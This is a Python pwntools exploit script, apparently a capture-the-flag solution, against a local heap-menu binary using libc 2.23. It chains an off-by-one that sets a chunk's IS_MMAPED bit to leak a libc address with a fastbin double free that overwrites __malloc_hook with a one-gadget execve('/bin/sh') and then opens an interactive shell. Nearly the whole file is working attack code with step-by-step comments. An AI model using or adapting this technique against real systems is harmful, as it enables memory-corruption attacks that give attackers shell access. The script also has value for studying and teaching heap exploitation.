#!/usr/bin/env python

from pwn import *

def add_string(size, content, is_attack=False):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('please input string length: ')
    p.sendline(str(size))

    if not is_attack:
        p.recvuntil('please input the string content: ')
        p.send(content)
        p.recvuntil('your string: ')

def view_string(title):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil("don't even think about it")

def edit_string(index, offset):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('please input the index: ')
    p.sendline(str(index))
    p.recvuntil('input the byte index: ')
    p.sendline(str(offset))

def delete_string(index):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('please input the index: ')
    p.sendline(str(index))

def leak():
    # allocate fastbin_1 in order to launch the off-by-attack
    add_string(24, 'a' * 24)        # 0 (32) fastbin_1

    # allocate smallbin_1 to set its IS_MMAPED bit by editing fastbin_1
    add_string(128, 'b' * 128)      # 1 (144) smallbin_1

    # allocate fastbin_2 in order to prevent smallbin_1 being consolidated into top chunk
    add_string(24,  'c' * 24)       # 2 (32) fastbin_2

    # smallbin_1 should be freed beforing setting its IS_MMAPED
    # fd and bk pointers are written for this chunk, which are pointing to main arena
    delete_string(1)

    # using Off-By-One we increment the size field of smallbin_1 twice
    # its size changes from 0x91 to 0x93 (PREV_INUSE && IS_MMAPED)
    edit_string(0, 24)
    edit_string(0, 24)

    # smallbin_2 will be placed in smallbin_1's chunk
    # however, calloc won't zero out its content since it's MMAPED
    add_string(128, 'd' * 7 + '\n') # 3 (144) smallbin_2

    # leak bk pointer of smallbin_1
    p.recvuntil('d' * 7 + '\n')
    return u64(p.recv(6) + '\x00\x00') - 0x3c4b78

def exploit(libc_base):
    # allocate two fastbins to launch the fastbin attack using double free
    add_string(96, 'e' * 96)        # 4 (112) fastbin_3
    add_string(96, 'f' * 96)        # 5 (112) fastbin_4

    # by launching double free, we put fastbin_3 twice in the free list
    delete_string(4)
    delete_string(5)
    delete_string(4)

    # fastbin_5 and fastbin_3 pointing to the same chunk
    # set fastbin_3's fd pointer to the fake chunk
    # basically, the size for the fake chunk will be 120
    fake_chunk = libc_base + 0x3c4aed
    print 'Fake Chunk: {}'.format(hex(fake_chunk))
    add_string(96, p64(fake_chunk) + 'g' * 88)          # 6 (112) fastbin_5

    add_string(96, 'h' * 96)                            # 7 (112) fastbin_6

    # this allocation put the fake chunk's address in the free bin list
    add_string(96, 'i' * 96)                            # 8 (112) fastbin_7

    # this new allocation will return the fake chunk address
    # we then overwrite __malloc_hook with the address of onegadet's execve
    # 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    # constraints:
    #    [rsp+0x50] == NULL
    execve_addr = libc_base + 0xf02a4 
    add_string(96, 'i' * 19 + p64(execve_addr) + '\n')  # 9 (112) fastbin_8

    # this new allocation will call __malloc_hook, which jumps to onegadget's execve
    add_string(1, '\n', True)

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    libc_base = leak()
    print 'libc base: {}'.format(hex(libc_base))

    exploit(libc_base)

    p.interactive()

